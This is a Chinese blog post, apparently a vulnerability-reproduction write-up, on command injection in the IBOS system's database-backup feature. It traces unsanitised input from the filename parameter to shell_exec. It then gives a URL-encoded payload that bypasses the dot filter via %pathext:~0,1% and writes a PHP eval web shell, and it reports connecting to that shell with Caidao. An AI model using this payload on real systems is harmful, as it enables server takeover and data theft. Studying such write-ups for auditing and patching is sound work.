IBOS系统命令执行漏洞复现

1、进入目标网站后台,查看有没有可以利用的漏洞点
  • 在浏览后台网站之后发现,在数据备份处有一个系统**MySql Dump(shell)**的备份方式

    在这里插入图片描述

  • 由此联想到操纵计算机执行相关的命令,且获取所有数据的函数shell_exec()

2、全局搜索函数shell_exec()
  • 发现有2个文件存在该函数

    在这里插入图片描述

  • 分别查看,进行审计

3、代码审计
文件:restore.php
第125行
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
  • 其作用就是通过shell_exec函数将变量$file写入到数据库中
  • 因此可以注意变量 f i l e ,看能否修改变量 file,看能否修改变量 file,看能否修改变量file
  • 向上审计
第46行
$file = urldecode($id);
  • 发现 f i l e 是变量 file是变量 file是变量id通过urldecode函数处理所得,不可控
  • 进入下一个文件
文件:Database.php
第360行
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
  • 其中发现mysqldump,Mysql自带的一中备份工具,和前面浏览后台时有所对应
    • 猜测,该文件可能就是提供备份功能的文件
  • 而其中$dumpFile比较可疑,可能可以拿来利用
  • 向上审计
第352行
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";
  • 先获取文件根路径并通过addslashes函数进行转义生成新的路径
  • 拼接变量$backupFileName为文件名
  • 固定文件后缀为.sql
  • 查看变量$backupFileName,向上审计
第239行
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
  • 发现 b a c k u p F i l e N a m e 是由变量 backupFileName是由变量 backupFileName是由变量fileName,经过str_replace()函数和路径拼接处理后所得

  • 其中str_replace()函数将"/", "\\", ".", "'"都替换为了

  • 继续查看$filename,向上审计

第171行
$fileName = core\utils\Env::getRequest("filename");
  • 发现$filename是通过request请求传入的参数filename获得
  • 去后台数据备份页面抓包,去看看有没有参数filename
4、抓包测试
  • 发现存在参数filename

在这里插入图片描述

  • 由此可以尝试通过控制参数filename写入恶意代码
5、思路整理
  • 通过函数shell_exec执行我们写入生成php文件的代码

    • 方法:使用管道符进行多条命令执行

      • &echo <?php%20eval($_REQUEST[6]);?> >7.php&
        
  • 由于其中对传入的filename进行了过滤,"/", "\\", ".", "'"都替换为了

    • 尝试绕过点.的过滤

    • 方法:切割环境变量%pathext:~0,1%来获取点.

    • &echo <?php%20eval($_REQUEST[6]);?> >7%pathext:~0,1%php&
      
  • 其中POST传参中&符号是连接多个参数,这里的**管道符&**不能直接使用

    • 使用url编码
  • 构造payload

    • %26echo%20"<?php%20eval($_REQUEST[6]);?>"%20>7%pathext:~0,1%php%26
      
  • 抓包修改数据,写入payload

在这里插入图片描述

6、查看结果
  • 插入成功

在这里插入图片描述

  • 使用菜刀获取shell

在这里插入图片描述

在这里插入图片描述

  • 23
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值